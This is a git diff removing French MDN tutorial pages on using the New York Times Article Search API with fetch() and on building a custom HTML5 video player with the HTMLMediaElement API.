Prenons un autre exemple d'API, l'API du New York Times. Cette API permet de récupérer les informations provenant du New York Times et de les afficher sur votre site. Cette API est ce qu'on appelle une API REST car elle permet de récupérer des données via des requêtes HTTP sur des URL spécifiques dans lesquelles on peut fournir des données comme des termes de recherches (souvent encodés comme paramètres dans l'URL). Ce type d'API est relativement fréquent.

- -

Construisons un second exemple pour comprendre comment utiliser l'API du NYTimes. Au fur et à mesure nous décrirons également une approche plus générale pour consommer d'autres API tierces.

- -

Trouver la documentation

- -

Lorsqu'on veut utiliser une API tierce, il est toujours utile de trouver la documentation correspondante pour connaître les fonctionnalités offertes, comment les utiliser, etc. La documentation de l'API du New York Times API se situe ici : https://developer.nytimes.com/.

- -

Obtenir une clé de développement

- -

La plupart des API reposent sur l'obtention et l'utilisation d'une clé de développement (tant pour des raisons de sécurité que de responsabilité). Pour obtenir une clé de développement pour l'API du NYTimes, vous pouvez suivre les instructions de https://developer.nytimes.com/get-started.

- -
    -
  1. -

    Demandez une clé pour l'API Article Search — créez une nouvelle application et sélectionnez cette API, fournissez un nom et une description pour votre application, activez le bouton sous "Article Search API" puis cliquez sur "Create").

    -
    2. -
  2. -

    Vous pouvez alors récupérer la clé d'API à partir de la page suivante.

    -
    3. -
  3. -

    Pour construire le socle de notre exemple, copiez nytimes_start.html et nytimes.css dans un nouveau répertoire sur votre ordinateur. Si vous avez déjà cloné le dépôt des exemples, vous disposez déjà d'un exemplaire de ces fichiers et vous pourrez les trouver sous le répertoire javascript/apis/third-party-apis/nytimes. L'élément <script> contient un certain nombre de variables nécessaires à l'initialisation de l'exemple. Nous allons ensuite remplir les fonctionnalités nécessaires.

    -
    4. -
- -

Au final, on souhaite que l'application permette de saisir un terme de recherche, des dates optionnelles pour le début et la fin de la période à rechercher. Nous utiliserons alors ces paramètres afin de d'envoyer des requêtes sur l'API Article Search puis nous afficherons les résultats obtenus.

- -

- -

Connecter l'API à son application

- -

Tout d'abord, vous devrez créer une connexion entre l'API et votre application. Pour cette API, vous devez fournir la clé d'API comme paramètre GET à chaque requête.

- -
    -
  1. -

    Localisez la ligne qui suit et remplacez la valeur avec la clé de développement que vous avez obtenu plus tôt :

    - - 
    var key = ' ... ';
    -
    2. -
  2. -

    Ajoutez la ligne suivante sous le commentaire // Event listeners to control the functionality. Cette ligne permet d'exécuter la fonction submitSearch() lorsque le formulaire est envoyé (quand on presse le bouton).

    - - 
    searchForm.addEventListener('submit', submitSearch);
    -
    3. -
  3. -

    Sous cette nouvelle ligne, ajoutons les fonctions submitSearch() et fetchResults() :

    - - 
    function submitSearch(e) {
-  pageNumber = 0;
-  fetchResults(e);
-}
-
-function fetchResults(e) {
-  // On utilise preventDefault() afin d'éviter
-  // l'envoie vers notre serveur et le rafraîchissement
-  // de la page
-  e.preventDefault();
-
-  // On compose l'URL
-  url = baseURL + '?api-key=' + key + '&page=' + pageNumber + '&q=' + searchTerm.value + '&fq=document_type:("article")';
-
-  if(startDate.value !== '') {
-    url += '&begin_date=' + startDate.value;
-  };
-
-  if(endDate.value !== '') {
-    url += '&end_date=' + endDate.value;
-  };
-
-}
    -
    4. -
- -

submitSearch() commence par réinitialiser le nombre de page à 0 puis appelle fetchResults(). Cette fonction commence par appeler preventDefault() sur l'évènement afin d'empêcher l'envoi du formulaire vers notre serveur (ce qui casserait l'exemple). Ensuite, on assemble la chaîne de caractères qui formera l'URL sur laquelle on fera la requête. Dans cette URL, on commence par mettre les fragments « obligatoires » (en tout cas pour cette démonstration) :

- - - -

Après, on utilise un ensemble d'instructions if() pour vérifier si des valeurs ont été fournies pour les champs startDate et endDate dans le formulaire. Si c'est le cas, on utilise ces valeurs pour renseigner les paramètres d'URL begin_date et/ou end_date.

- -

Si on prend un exemple d'URL complète ainsi construite :

- -
https://api.nytimes.com/svc/search/v2/articlesearch.json?api-key=YOUR-API-KEY-HERE&page=0&q=cats
-&fq=document_type:("article")&begin_date=20170301&end_date=20170312
- -
-

Note : Pour en savoir plus sur les différents paramètres d'URL qui peuvent être utilisés, vous pouvez consulter la documentation du NYTimes.

-
- -
-

Note : Dans cet exemple, la validation du formulaire est assez rudimentaire : le terme recherché doit nécessairement être renseigné avant de pouvoir valider le formulaire grâce à l'attribut required. Les champs pour les dates doivent suivre un format particulier et elles ne seront pas envoyées tant que leur valeur ne se composera pas de 8 chiffres (en HTML, c'est ce qui est indiqué par l'attribut pattern="[0-9]{8}"). Voir la page sur la validation des données d'un formulaire pour en savoir plus sur ce fonctionnement.

-
- -

Récupérer des données depuis l'API

- -

Maintenant que nous avons construit notre URL, envoyons une requête à cet endroit. Pour cela, nous utiliserons l'API Fetch.

- -

Dans la fonction fetchResults(), juste avant l'accolade de fin, ajoutez le fragment de code suivant :

- -
// On utilise fetch() pour envoyer la requête à l'API
-fetch(url).then(function(result) {
-  return result.json();
-}).then(function(json) {
-  displayResults(json);
-});
- -

On envoie la requête en passant la variable url comme paramètre à la fonction fetch() puis on convertit le corps de la réponse avec la fonction json() puis on passe le JSON ainsi obtenu à la fonction displayResults() afin que les données puissent être affichées dans l'interface utilisateur.

- -

Afficher les données

- -

Voyons maintenant comment afficher les données reçues. Dans le fichier contenant votre code, ajoutez la fonction suivante après la fonction fetchResults().

- -
function displayResults(json) {
-  while (section.firstChild) {
-      section.removeChild(section.firstChild);
-  }
-
-  var articles = json.response.docs;
-
-  if(articles.length === 10) {
-    nav.style.display = 'block';
-  } else {
-    nav.style.display = 'none';
-  }
-
-  if(articles.length === 0) {
-    var para = document.createElement('p');
-    para.textContent = 'Aucun résultat reçu.'
-    section.appendChild(para);
-  } else {
-    for(var i = 0; i < articles.length; i++) {
-      var article = document.createElement('article');
-      var heading = document.createElement('h2');
-      var link = document.createElement('a');
-      var img = document.createElement('img');
-      var para1 = document.createElement('p');
-      var para2 = document.createElement('p');
-      var clearfix = document.createElement('div');
-
-      var current = articles[i];
-      console.log(current);
-
-      link.href = current.web_url;
-      link.textContent = current.headline.main;
-      para1.textContent = current.snippet;
-      para2.textContent = 'Mots-clés : ';
-      for(var j = 0; j < current.keywords.length; j++) {
-        var span = document.createElement('span');
-        span.textContent += current.keywords[j].value + ' ';
-        para2.appendChild(span);
-      }
-
-      if(current.multimedia.length > 0) {
-        img.src = 'http://www.nytimes.com/' + current.multimedia[0].url;
-        img.alt = current.headline.main;
-      }
-
-      clearfix.setAttribute('class','clearfix');
-
-      article.appendChild(heading);
-      heading.appendChild(link);
-      article.appendChild(img);
-      article.appendChild(para1);
-      article.appendChild(para2);
-      article.appendChild(clearfix);
-      section.appendChild(article);
-    }
-  }
-}
- -

Il y a pas mal de code ici. Reprenons étape par étape pour l'expliquer :

- - - -

Câbler les boutons pour la pagination

- -

Pour que les boutons de pagination fonctionnent, on incrémente (ou on décrémente) la valeur de la variable pageNumber puis on renvoie une requête avec la nouvelle valeur incluse dans le paramètre de l'URL page. Cela fonctionne car l'API du NYTimes ne renvoie que 10 résultats à la fois. S'il y a plus de 10 résultats disponibles, la requête renverra les 10 premiers (0 à 9) lorsque le paramètre page vaut 0 dans l'URL (ou lorsqu'il n'est pas inclus du tout, c'est la valeur par défaut). Les 10 prochains résultats (10 à 19) peuvent être récupérés lorsque le paramètre page vaut 1 et ainsi de suite.

- -

En connaissant cela, on peut écrire une fonction pour gérer la pagination.

- -
    -
  1. -

    Après l'appel existant à addEventListener(), on ajoute les deux prochaines lignes qui appelleront les fonctions nextPage() et previousPage() lorsqu'on cliquera sur le bouton correspondant :

    - - 
    nextBtn.addEventListener('click', nextPage);
-previousBtn.addEventListener('click', previousPage);
    -
    2. -
  2. -

    À la suite, on définit le corps de ces fonctions :

    - - 
    function nextPage(e) {
-  pageNumber++;
-  fetchResults(e);
-};
-
-function previousPage(e) {
-  if(pageNumber > 0) {
-    pageNumber--;
-  } else {
-    return;
-  }
-  fetchResults(e);
-};
    - -

    La première fonction est assez simple : on incrémente la variable pageNumber puis on exécute à nouveau la fonction fetchResults() afin d'afficher les prochains résultats.

    - -

    La seconde fonction est similaire, mais on prend la précaution de vérifier que pageNumber ne vaut pas déjà 0 avant de diminuer sa valeur (si la requête est envoyée avec un paramètre négatif, on pourrait avoir une erreur). Lorsque pageNumber vaut déjà 0, on sort de la fonction avec return afin d'éviter de lancer une requête pour rien (si on est déjà sur la première page, pas besoin de recharger les résultats à nouveau).

    -
    3. -
- -
-

Note : Vous pouvez trouver l'exemple complet sur l'API du NYTimes sur GitHub.

-
- -

Exemple d'utilisation de l'API YouTube

- -

Nous avons également mis à disposition un autre exemple que vous pouvez étudier et adapter : exemple de recherche de vidéo YouTube. Dans cet exemple, on utilise deux API :

- - - -

Cet exemple est intéressant car il permet d'illustrer l'utilisation combinée de deux API tierces pour construire une application. La première API est une API REST tandis que la seconde est plus proche du fonctionnement de MapQuest (des méthodes spécifiques à l'API, etc.). On notera que les deux API ont besoin qu'une bibliothèque JavaScript soit chargée sur la page. L'API REST possède des fonctions qui permettent de gérer les requêtes HTTP et de renvoyer les résultats.

- -

- -

Nous n'allons pas détailler plus encore cet exemple ici, vous pouvez consulter le code source qui contient des commentaires expliquant son fonctionnement. Là encore, pour utiliser vous-même l'exemple, vous aurez besoin de récupérer une clé d'API et de l'insérer dans le code afin que les exemples fonctionnent.

- -

Résumé

- -

Dans cet article, nous avons vu une introduction à l'utilisation des API tierces afin d'ajouter des fonctionnalités à nos sites web.

- -

{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Fetching_data", "Learn/JavaScript/Client-side_web_APIs/Drawing_graphics", "Learn/JavaScript/Client-side_web_APIs")}}

- -

Dans ce module

- - diff --git a/files/fr/apprendre/javascript/client-side_web_apis/video_and_audio_apis/index.html b/files/fr/apprendre/javascript/client-side_web_apis/video_and_audio_apis/index.html deleted file mode 100644 index 358458db64..0000000000 --- a/files/fr/apprendre/javascript/client-side_web_apis/video_and_audio_apis/index.html +++ /dev/null @@ -1,518 +0,0 @@ ---- -title: APIs vidéo et audio -slug: Apprendre/JavaScript/Client-side_web_APIs/Video_and_audio_APIs -tags: - - API - - Apprendre - - Article - - Audio - - Codage - - Débutant - - Guide - - JavaScript - - Video -translation_of: Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Drawing_graphics", "Learn/JavaScript/Client-side_web_APIs/Client-side_storage", "Learn/JavaScript/Client-side_web_APIs")}}
- -

HTML5 fournit des éléments pour intégrer du multimédia dans les documents — {{htmlelement("video")}} et {{htmlelement("audio")}} — et qui viennent avec leurs propres APIs pour contrôler la lecture, se déplacer dans le flux, etc. Cet article montre comment réaliser les tâches les plus communes, comme créer des contrôles de lectures personnalisés.

- - - - - - - - - - - - -
Prérequis:Les bases du JavaScript (voir premiers pas en JavaScript, les briques Javascript, Introduction aux objets), Introduction aux APIs web
Objectif:Apprendre à utiliser les APIs du navigateur pour contrôler la lecture de audio et vidéo.
- -

Les balises HTML5 video et audio

- -

Les balises {{htmlelement("video")}} et {{htmlelement("audio")}} permettent d'intégrer des vidéos et de l'audio dans des pages web. Comme nous l'avons montré dans Contenu audio et vidéo, une implémentation habituelle ressemble à ça :

- -
<video controls>
-  <source src="rabbit320.mp4" type="video/mp4">
-  <source src="rabbit320.webm" type="video/webm">
-  <p>Votre navigateur ne supporte pas la vidéo HTML5. Voici à la place <a href="rabbit320.mp4">un lien vers la vidéo</a>.</p>
-</video>
- -

Cela crée un lecteur vidéo à l'intérieur du navigateur:

- -

{{EmbedGHLiveSample("learning-area/html/multimedia-and-embedding/video-and-audio-content/multiple-video-formats.html", '100%', 380)}}

- -

Vous pouvez consulter toutes fonctionnalités HTML audio et vidéo dans l'article mentionné précédemment. Pour notre utilisation ici, l'attribut le plus intéressant est {{htmlattrxref("controls", "video")}}. Il permet d'activer l'ensemble des contrôles de lecture par défaut; si vous ne le spécifiez pas, vous aucun contrôle ne sera affiché:

- -

{{EmbedGHLiveSample("learning-area/html/multimedia-and-embedding/video-and-audio-content/multiple-video-formats-no-controls.html", '100%', 380)}}

- -

Ce n'est pas immédiatement utile pour la lecture de vidéos, mais ça a des avantages. Les contrôles natifs des navigateurs différent complètement d'un navigateur à l'autre — ce qui est embêtant pour un support global des différents navigateurs. Un autre problème est que le contrôles natifs sont généralement assez peu accessibles au clavier.

- -

Vous pouvez régler ces deux problèmes en cachant les contrôles natifs (en supprimant l'attribut controls) et en les remplaçant par les votres en HTML, CSS et JavaScript. Dans la prochaine section, nous verrons les outils de base à notre disposition pour faire ça.

- -

L'API HTMLMediaElement

- -

L'API {{domxref("HTMLMediaElement")}}, spécifiée dans HTML5, fournit des fonctionnalités qui permettent de controller des lecteurs audio et vidéo avec JavaScript — avec par exemple {{domxref("HTMLMediaElement.play()")}} ou encore {{domxref("HTMLMediaElement.pause()")}}. Cette interface est disponible à la fois pour les balises {{htmlelement("audio")}} et {{htmlelement("video")}}, les fonctionnalités utiles pour les deux étant quasiment identiques. Voyons un exemple pour découvrir ces fonctionnalités.

- -

Notre exemple final ressemblera (et fonctionnera) comme ceci:

- -

{{EmbedGHLiveSample("learning-area/javascript/apis/video-audio/finished/", '100%', 360)}}

- -

Débuter

- -

Pour commencer avec cet exemple, télechargez notre media-player-start.zip et décompressez-le dans un nouveau dossier sur votre disque dur. Si vous avez téléchargé notre dépôt d'exemples, vous le trouverez dans javascript/apis/video-audio/start/.

- -

Si vous ouvrez la page HTML, vous devriez voir un lecteur HTML5 utilisant les contrôles natifs.

- -

Exploration du HTML

- -

Ouvrez le fichier HTML d'index. Vous allez voir que le HTML contient majoritairement du code pour le lecteur et ses contrôles:

- -
<div class="player">
-  <video controls>
-    <source src="video/sintel-short.mp4" type="video/mp4">
-    <source src="video/sintel-short.mp4" type="video/webm">
-    <!-- fallback contenu ici -->
-  </video>
-  <div class="controls">
-    <button class="play" data-icon="P" aria-label="bascule lecture pause"></button>
-    <button class="stop" data-icon="S" aria-label="stop"></button>
-    <div class="timer">
-      <div></div>
-      <span aria-label="timer">00:00</span>
-    </div>
-    <button class="rwd" data-icon="B" aria-label="retour arrière"></button>
-    <button class="fwd" data-icon="F" aria-label="avance rapide"></button>
-  </div>
-</div>
-
- - - -

Exploration du CSS

- -

Maintenant, ouvrez le fichier CSS et jetez-y un coup d'oeil. Le CSS pour cet exemple n'est pas très compliqué, mais nous allons voir les éléments les plus intéressants ici. Tout d'abord, le style de .controls:

- -
.controls {
-  visibility: hidden;
-  opacity: 0.5;
-  width: 400px;
-  border-radius: 10px;
-  position: absolute;
-  bottom: 20px;
-  left: 50%;
-  margin-left: -200px;
-  background-color: black;
-  box-shadow: 3px 3px 5px black;
-  transition: 1s all;
-  display: flex;
-}
-
-.player:hover .controls, player:focus .controls {
-  opacity: 1;
-}
-
- - - -

Ensuite, voyons les icônes des boutons:

- -
@font-face {
-   font-family: 'HeydingsControlsRegular';
-   src: url('fonts/heydings_controls-webfont.eot');
-   src: url('fonts/heydings_controls-webfont.eot?#iefix') format('embedded-opentype'),
-        url('fonts/heydings_controls-webfont.woff') format('woff'),
-        url('fonts/heydings_controls-webfont.ttf') format('truetype');
-   font-weight: normal;
-   font-style: normal;
-}
-
-button:before {
-  font-family: HeydingsControlsRegular;
-  font-size: 20px;
-  position: relative;
-  content: attr(data-icon);
-  color: #aaa;
-  text-shadow: 1px 1px 0px black;
-}
- -

Tout d'abord, en haut du CSS, nous utilisons un bloc {{cssxref("@font-face")}} pour importer une police web personnalisée. Il s'agit d'une police d'icônes — tous les caractères de l'alphabet correspondent à des icônes que vous pouvez utiliser dans votre application.

- -

Ensuite, nous générons du contenu pour afficher une icône sur chaque bouton:

- - - -

Les polices d'icônes sont très cool pour de nombreuses raisons: réduire les requêtes HTTP (puisque vous n'avez pas besoin de télécharger des icônes sous forme de fichiers image), bonne scalabilité, et le fait que vous pouvez utiliser les propriétés de texte pour les formatter — comme {{cssxref("color")}} et {{cssxref("text-shadow")}}.

- -

Dernier point mais non des moindres, le CSS du décompte:

- -
.timer {
-  line-height: 38px;
-  font-size: 10px;
-  font-family: monospace;
-  text-shadow: 1px 1px 0px black;
-  color: white;
-  flex: 5;
-  position: relative;
-}
-
-.timer div {
-  position: absolute;
-  background-color: rgba(255,255,255,0.2);
-  left: 0;
-  top: 0;
-  width: 0;
-  height: 38px;
-  z-index: 2;
-}
-
-.timer span {
-  position: absolute;
-  z-index: 3;
-  left: 19px;
-}
- - - -

Implémenter le JavaScript

- -

Nous avons déjà une interface HTML et CSS assez complète; nous avons maintenant besoin de gérer les boutons pour que les contrôles fonctionnent.

- -
    -
  1. -

    Créez un nouveau fichier JavaScript dans le même répertoire que votre fichier index.html. Nous l'appelerons custom-player.js.

    -
    2. -
  2. -

    En haut de ce fichier, insérez le code suivant:

    - - 
    var media = document.querySelector('video');
-var controls = document.querySelector('.controls');
-
-var play = document.querySelector('.play');
-var stop = document.querySelector('.stop');
-var rwd = document.querySelector('.rwd');
-var fwd = document.querySelector('.fwd');
-
-var timerWrapper = document.querySelector('.timer');
-var timer = document.querySelector('.timer span');
-var timerBar = document.querySelector('.timer div');
-
    - -

    Ici, nous créons des variables pour stocker les références de tous les objets que nous voulons manipuler. Nous avons trois groupes:

    - -
      -
    • L'élément <video>, et la barre de contrôle.
      • -
    • Les boutons play/pause, stop, retour arrière, et avance rapide.
      • -
    • Le <div> externe, le <span> qui décompte le temps écoulé, et le <div> interne qui affiche le progrès de la vidéo.
      • -
    -
    3. -
  3. -

    Ensuite, insérez ce qui suit en bas de votre code:

    - - 
    media.removeAttribute('controls');
-controls.style.visibility = 'visible';
    - -

    Ces deux lignes suppriment les contrôles par défaut du navigateur sur la vidéo, et rendent nos contrôles personnalisés visibles.

    -
    4. -
- -

Lecture et pause de la vidéo

- -

Imlémentons le contrôle le plus important — le bouton play/pause.

- -
    -
  1. -

    Tout d'abord, ajoutez ce qui suit au bas de votre code, pour que la fonction playPauseMedia() soit invoquée quand le bouton play est cliqué:

    - - 
    play.addEventListener('click', playPauseMedia);
-
    -
    2. -
  2. -

    Maintenant, définissons playPauseMedia() — ajoutez ce qui suit, toujours au bas de votre code:

    - - 
    function playPauseMedia() {
-  if(media.paused) {
-    play.setAttribute('data-icon','u');
-    media.play();
-  } else {
-    play.setAttribute('data-icon','P');
-    media.pause();
-  }
-}
    - -

    Ici, nous utilisons une instruction if pour vérifier si la vidéo est en pause. La propriété {{domxref("HTMLMediaElement.paused")}} retourne vrai si le média est en pause — c'est le cas quand la vidéo n'est pas en cours de lecture, y compris quand la vidéo est au début après son chargement. Si elle est en pause, nous définissons la valeur de l'attribut data-icon à "u", qui est une icône "en pause", et invoquons la  méthode {{domxref("HTMLMediaElement.play()")}} pour jouer le média.

    - -

    Au second clic, le bouton sera de nouveau alterné — l'icône "play" sera affiché, et la vidéo sera mise en pause avec {{domxref("HTMLMediaElement.paused()")}}.

    -
    3. -
- -

Stopper la vidéo

- -
    -
  1. -

    Ajoutons la possibilité d'arrêter la vidéo. Ajoutez les lignes addEventListener() suivantes au-dessous de vos ajouts précédents:

    - - 
    stop.addEventListener('click', stopMedia);
-media.addEventListener('ended', stopMedia);
-
    - -

    L'événement {{event("click")}} est explicite — nous voulons stopper la vidéo en appelant la fonction stopMedia() quand le bouton stop est cliqué. Cependant, nous voulons également stopper la vidéo quand elle a fini de jouer — signalé par l'événement {{event("ended")}}, nous pouvons donc mettre en place un gestionnaire d'événement pour exécuter la fonction quand cet événément se produit.

    -
    2. -
  2. -

    Ensuite, définissons stopMedia() — ajoutez ce qui suit après la fonction playPauseMedia():

    - - 
    function stopMedia() {
-  media.pause();
-  media.currentTime = 0;
-  play.setAttribute('data-icon','P');
-}
-
    - -

    Il n'y a pas de méthode stop() dans l'API  HTMLMediaElement — l'équivalent du stop est de mettre pause() sur la vidéo, et de définir la propriété {{domxref("HTMLMediaElement.currentTime","currentTime")}} à 0. Définir une valeur à currentTime (en secondes) change immédiatement la position du temps du média.

    - -

    Tout ce qui nous reste à faire après ça est d'afficher l'icône "play". Que la vidéo ait été en train de jouer ou en pause, quand le bouton stop est pressé, vous voulez qu'elle doit prête à être lue.

    -
    3. -
- -

Retour arrière et avance rapide

- -

Il y a différentes manières d'implémenter le retour arrière et l'avance rapide; ici, nous vous montrons une manière relativement complexe de le faire, qui n'a pas de comportement inattendu quand différents boutons sont pressés dans un ordre aléatoire.

- -
    -
  1. -

    Tout d'abord, ajoutez les lignes addEventListener() suivantes à la suite des précédentes:

    - - 
    rwd.addEventListener('click', mediaBackward);
-fwd.addEventListener('click', mediaForward);
-
    -
    2. -
  2. -

    Maintenant, occupons-nous des fonctions des gestionnaires d'événément — ajoutez le code suivant à la suite des fonctions précédentes pour définir mediaBackward() et mediaForward():

    - - 
    var intervalFwd;
-var intervalRwd;
-
-function mediaBackward() {
-  clearInterval(intervalFwd);
-  fwd.classList.remove('active');
-
-  if(rwd.classList.contains('active')) {
-    rwd.classList.remove('active');
-    clearInterval(intervalRwd);
-    media.play();
-  } else {
-    rwd.classList.add('active');
-    media.pause();
-    intervalRwd = setInterval(windBackward, 200);
-  }
-}
-
-function mediaForward() {
-  clearInterval(intervalRwd);
-  rwd.classList.remove('active');
-
-  if(fwd.classList.contains('active')) {
-    fwd.classList.remove('active');
-    clearInterval(intervalFwd);
-    media.play();
-  } else {
-    fwd.classList.add('active');
-    media.pause();
-    intervalFwd = setInterval(windForward, 200);
-  }
-}
-
    - -

    Vous remarquerez que nous commençons par initialiser deux variables — intervalFwd et intervalRwd — vous verrez à quoi elles servent plus tard.

    - -

    Voyons pas à pas mediaBackward() (mediaForward() fait la même chose, mais dans l'autre sens):

    - -
      -
    1. Nous effaçons les classes et intervales qui sont définits sur la fonctionnalité d'avance rapide — de cette manière, si on presse le bouton rwd après avoir pressé le bouton fwd, on annule l'avance rapide et la remplaçons avec le retour arrière. Si on essayait de faire les deux à la fois, le lecteur échouerait.
      2. -
    2. Nous utilisons une instruction if pour vérifier si la classe active a été définie sur le bouton rwd, ce qui indique qu'il a déjà été pressé. La propriété {{domxref("classList")}} est une propriété plutôt pratique qui existe sur chaque élément — elle contient une liste de toutes les classes définies sur l'élément, ainsi que des méthodes pour en ajouter/supprimer, etc. Nous utilisons la méthode classList.contains() pour vérifier si la liste contient la classe active. Cela retourne un booléen true/false en résultat.
      3. -
    3. Si la classe active a été définie sur le bouton rwd, nous la supprimons avec classList.remove(), effaçons l'intervale qui a été définit sur le bouton quand il a été pressé (voir ci-dessous pour plus d'explication), et utilisons {{domxref("HTMLMediaElement.play()")}} pour annuler le retour arrière et démarrer la vidéo normalement.
      4. -
    4. -

      Sinon, nous ajoutons la classe active sur le bouton rwd avec classList.add(), mettons la vidéo en pause en utilisant {{domxref("HTMLMediaElement.pause()")}}, puis définissons la variable intervalRwd en appelant {{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}}. Quand elle invoquée, la fonction setInterval() créé un intervale actif, ce qui signifie qu'une fonction donnée en paramètre est exécutée toutes les x millisecondes — x est la valeur du 2ème paramètre. Ainsi, nous exécutons ici la fonction windBackward() toutes les 200 millisecondes — nous utiliserons cette fonction pour retourner la fonction en arrière de manière constante. Pour stopper un intervale actif, vous devez appeler {{domxref("WindowOrWorkerGlobalScope.clearInterval", "clearInterval()")}} en lui donnant l'intervale à arrêter en paramètre, dans notre cas il est stocké dans la variable intervalRwd (voir l'appel à clearInterval() effectué plus tôt dans la fonction).

      -
      5. -
    -
    3. -
  3. -

    Pour en finir avec cette section, nous devons définir les fonctions windBackward() et windForward() invoquées dans les appels setInterval(). Ajoutez ce qui suit après les deux fonctions précédentes:

    - - 
    function windBackward() {
-  if(media.currentTime <= 3) {
-    rwd.classList.remove('active');
-    clearInterval(intervalRwd);
-    stopMedia();
-  } else {
-    media.currentTime -= 3;
-  }
-}
-
-function windForward() {
-  if(media.currentTime >= media.duration - 3) {
-    fwd.classList.remove('active');
-    clearInterval(intervalFwd);
-    stopMedia();
-  } else {
-    media.currentTime += 3;
-  }
-}
    - Encore une fois, nous allons voir pas à pas la première fonction, puisque les deux fonctions font la même chose mais dans le sens inverse. Dans windBackward(), nous faisons comme suit — gardez à l'esprit que la fonction est exécutée toutes les 200 millisecondes. - -
      -
    1. Nous commençons avec une instruction if qui vérifie si le temps en cours est inférieur à 3 secondes, c'est à dire si le retour arrière nous ramènerait avant le début de la vidéo. Cela provoquerait un comportement étrange. Ainsi, si c'est le cas, nous arrêtons la vidéo en appelant stopMedia(), supprimons la classe active du bouton, et stoppons l'intervale intervalRwd pour stopper le retour arrière. Si nous n'avions pas ajouté cette dernière étape, la vidéo continuerait de se remboniner éternellement.
      2. -
    2. Si le temps en cours n'est pas inférieur à 3 secondes, nous retournons en arrière de 3 secondes en exécutant media.currentTime -= 3. Dans les faits, on rembobine donc la vidéo de 3 secondes toutes les 200 millisecondes.
      3. -
    -
    4. -
- -

Mettre à jour le temps écoulé

- -

La dernière chose à implémenter pour notre lecteur multimédia est l'affichage du temps écoulé. Pour ce faire, nous allons exécuter une fonction pour mettre à jour le temps affiché à chaque fois que l'événement {{event("timeupdate")}} est déclenché sur l'élément <video>. La fréquence à laquelle cet événement se déclenche dépend de votre navigateur, de la puissance de votre CPU, etc (voir post stackoverflow).

- -

Ajoutez la ligne addEventListener() suivante à la suite des autres:

- -
media.addEventListener('timeupdate', setTime);
- -

Maintenant, ajoutez la fonction setTime():

- -
function setTime() {
-  var minutes = Math.floor(media.currentTime / 60);
-  var seconds = Math.floor(media.currentTime - minutes * 60);
-  var minuteValue;
-  var secondValue;
-
-  if (minutes < 10) {
-    minuteValue = '0' + minutes;
-  } else {
-    minuteValue = minutes;
-  }
-
-  if (seconds < 10) {
-    secondValue = '0' + seconds;
-  } else {
-    secondValue = seconds;
-  }
-
-  var mediaTime = minuteValue + ':' + secondValue;
-  timer.textContent = mediaTime;
-
-  var barLength = timerWrapper.clientWidth * (media.currentTime/media.duration);
-  timerBar.style.width = barLength + 'px';
-}
-
- -

C'est une fonction assez longue, alors allons-y étape par étape:

- -
    -
  1. Tout d'abord, nous récupérons le nombre de minutes et de secondes à partir de {{domxref("HTMLMediaElement.currentTime")}}.
    2. -
  2. Ensuite, on initialise deux variables supplémentaires — minuteValue et secondValue.
    3. -
  3. Les deux instructions if qui suivent déterminent si le nombre de minutes et secondes est inférieur à 10. Si c'est le cas, on ajoute un zéro à gauche pour afficher le numéro sur deux chiffres — comme sur une horloge digitale.
    4. -
  4. Le temps est au final la concaténation de minuteValue, un caractère deux-points, et secondValue.
    5. -
  5. Le temps qu'on vient de définir devient la valeur {{domxref("Node.textContent")}} du décompte, pour qu'il s'affiche dans l'interface utilisateur.
    6. -
  6. La largeur que nous devons donner <div> intérieur est calculée en récupérant la largeur du <div> externe (la propriété {{domxref("HTMLElement.clientWidth", "clientWidth")}} retourne la largeur de l'élément), et en la multipliant par {{domxref("HTMLMediaElement.currentTime")}} divisé par le total {{domxref("HTMLMediaElement.duration")}} du média.
    7. -
  7. Nous assignons la largeur du <div> intérieur à la valeur calculée, plus "px", il sera donc fixé à ce nombre de pixels.
    8. -
- -

Corriger play et pause

- -

Il nous reste un problème à régler. Si on presse les boutons play/pause ou stop pendant que le retour arrière ou l'avance rapide sont actifs, alors ça ne marchera pas. Comment corriger le code pour qu'ils annulent l'action rwd/fwd et joue/stoppe la vidéo comme on s'y attendrait? C'est relativement simple.

- -

Tout d'abord, ajoutez les lignes qui suivent à l'intérieur de la fonction stopMedia() — n'importe où:

- -
rwd.classList.remove('active');
-fwd.classList.remove('active');
-clearInterval(intervalRwd);
-clearInterval(intervalFwd);
-
- -

Maintenant, ajoutez ces mêmes lignes une fois de plus, au début de la fonction playPauseMedia() (juste avant le début de l'instruction if).

- -

À ce stade, vous pouvez supprimer les lignes équivalentes des fonctions windBackward() et windForward(), puisqu'elles ont été ajoutées à la fonction stopMedia() à la place.

- -
-

Note: Vous pouvez améliorer votre code en créant une fonction séparée qui exécute ces lignes, et l'appeler aux endroits où vous en avez besoin plutôt que de répéter ces lignes à de multiples endroits du code. Mais nous vous laissons vous en occuper.

-
- -
-

Note: Le code terminé est disponible sur Github (le voir en direct).

-
- -

Sommaire

- -

Je pense que nous vous en avons suffisamment appris dans cet article. L'API {{domxref("HTMLMediaElement")}} offre une multitude de fonctionnalités pour la création de lecteurs audio et vidéo simples, et ce n'est que le sommet de l'iceberg. La section "Voir aussi" ci-dessous vous fournirea des liens vers des fonctionnalités plus complexes et plus intéressantes.

- -

Voici quelques suggestions de modifications à apporter à l'exemple que nous avons construit:

- -
    -
  1. -

    Si la vidéo dure plus d'une heure, le temps écoulé va bien afficher les minutes et les secondes mais pas les heures. Changez l'exemple pour lui faire afficher les heures.

    -
    2. -
  2. -

    Parce que les éléments <audio> ont la même fonctionnalité {{domxref("HTMLMediaElement")}} de disponible, vous pouvez faire fonctionner ce lecteur avec un élément <audio>. Essayez  de le faire.

    -
    3. -
  3. -

    Trouvez un moyen de transformer le <div> interne en une véritable barre de progrès — quand vous cliquez quelque part sur la barre, vous vous déplacez à la position relative dans la vidéo. Un indice: vous pouvez trouver les valeurs X et Y des côtés gauche/droite et haut/bas d'un l'élément via la méthode getBoundingClientRect(), et vous pouvez trouver les coordonnées de la souris au moment du clic à l'intérieur de l'objet event du clic, appelé sur l'objet {{domxref("Document")}}. Par exemple:

    - - 
    document.onclick = function(e) {
-  console.log(e.x) + ',' + console.log(e.y)
-}
    -
    4. -
- -

Voir aussi

- - - -

{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Drawing_graphics", "Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs", "Learn/JavaScript/Client-side_web_APIs")}}

- -

 

- -

Dans ce module

